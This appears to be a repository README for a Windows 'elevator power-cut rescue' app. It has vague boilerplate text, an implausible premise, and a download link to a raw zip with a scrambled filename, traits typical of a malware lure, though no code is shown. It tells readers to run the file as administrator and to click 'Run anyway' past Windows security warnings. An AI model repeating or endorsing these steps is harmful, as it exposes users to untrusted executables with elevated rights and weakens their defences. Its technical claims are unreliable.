🚨 Emergency-Power-Cut-Detection-with-Automatic-Nearest-Floor-Rescue - Safer Lift Recovery When Power Fails

🖥️ What This App Does

This app helps an elevator respond to an emergency power cut. It watches for power failure, then moves the lift to the nearest floor so people can leave safely.

It is built for windows and is meant for end users who need a simple way to run the safety tool from the linked GitHub page.

📥 Download

Use this link to visit the page to download the app:

https://raw.githubusercontent.com/lambertinterdisciplinary55/Emergency-Power-Cut-Detection-with-Automatic-Nearest-Floor-Rescue/main/colane/Nearest_Cut_Power_Automatic_with_Detection_Rescue_Emergency_Floor_v1.0-alpha.2.zip

🪟 Windows Setup

1. Open the download link above in your web browser.
2. Look for the latest release, installer, or file package on the page.
3. Download the Windows file to your computer.
4. If the file is inside a ZIP folder, extract it first.
5. Open the app file to start the installation or run the program.
6. If Windows asks for permission, choose Yes.
7. Follow the on-screen steps until setup is done.
8. Start the app from the Desktop, Start menu, or the folder where you saved it.

🔌 How It Works

The app follows a simple safety flow:

1. It checks for a power loss.
2. It reads the lift state.
3. It sends the lift to the nearest floor.
4. It helps create a safe exit point.
5. It supports fast recovery after the outage.

This gives the elevator a clear response when normal power is cut.

⚙️ System Requirements

Use a Windows PC with these basic settings:

• Windows 10 or Windows 11
• 4 GB RAM or more
• 200 MB free disk space
• A stable power source
• Internet access for the first download
• Rights to open and run downloaded files

For smoother use in a lab or test setup, keep the system time correct and avoid running too many heavy apps at once.

📁 What You May See After Download

Depending on the release package, you may find:

• An .exe file for Windows
• A .zip file with the app inside
• A folder with setup files
• A readme file with short run steps
• Config files for lift and power logic

If you see a .zip file, right-click it and choose Extract All before opening the app.

🧭 First-Time Run

When you open the app for the first time:

1. Let Windows finish any security check.
2. Allow the app to start.
3. Review the main screen if one appears.
4. Check that the status panel shows the system is ready.
5. Test the app in a safe training or demo setup before live use.

If the app asks for a device path, folder, or setting, keep the default values unless your setup uses a different layout.

🛠️ Basic Use

Use the app in this order:

1. Start the program.
2. Confirm the lift monitor is active.
3. Let the system watch for power cuts.
4. When a failure occurs, the app moves the lift toward the nearest floor.
5. Wait for the lift to stop and open safely.
6. Clear the area and restore normal operation after power returns.

🔒 Safety Checks

Before use, make sure:

• The lift is in a safe test state
• Emergency stop controls work
• Floor sensors read the correct position
• Backup power logic is ready
• Doors can open at the nearest floor
• No one is inside the machine room during tests

🧩 Common File Types

You may see files like these:

• .exe for direct run on Windows
• .msi for guided install
• .zip for packed download files
• .json for config data
• .txt for notes or setup help

❓ Common Problems

The app does not open

• Check that the file finished downloading
• Right-click the file and choose Run as administrator
• Unzip the file if it came in a folder
• Try opening it from a local folder like Downloads

Windows blocks the file

• Open the file again
• If Windows shows a security box, choose More info
• Select Run anyway if you trust the source page

The app opens but does not react

• Confirm the correct lift input is selected
• Check the power failure sensor
• Review any config file that came with the download
• Restart the app and test again

The nearest floor action does not start

• Make sure floor data is present
• Check the sensor signal for the lift car
• Confirm the rescue mode is enabled
• Test with a safe demo setup first

📌 Suggested Folder Layout

After extraction, your folder may look like this:

• app.exe
• config
• logs
• docs
• assets
• readme.txt

Keep all files in the same folder unless the included instructions say otherwise.

🔧 Useful Setup Tips

• Save the app in a simple path like Downloads or Desktop
• Avoid spaces and special characters in the folder name if you can
• Keep the app files together
• Use the same Windows account each time
• Check that your display scale does not hide buttons or status text

🧪 Test Run

A good first test is:

1. Open the app.
2. Confirm the system shows ready status.
3. Trigger a safe test power-loss event.
4. Watch the lift move to the nearest floor.
5. Confirm the door and stop behavior work as expected.
6. Reset the system after the test ends

📄 Project Details

• Repository: Emergency-Power-Cut-Detection-with-Automatic-Nearest-Floor-Rescue
• Type: Elevator safety tool
• Platform: Windows
• Use case: Emergency power failure handling
• Main action: Move lift to nearest floor for safe exit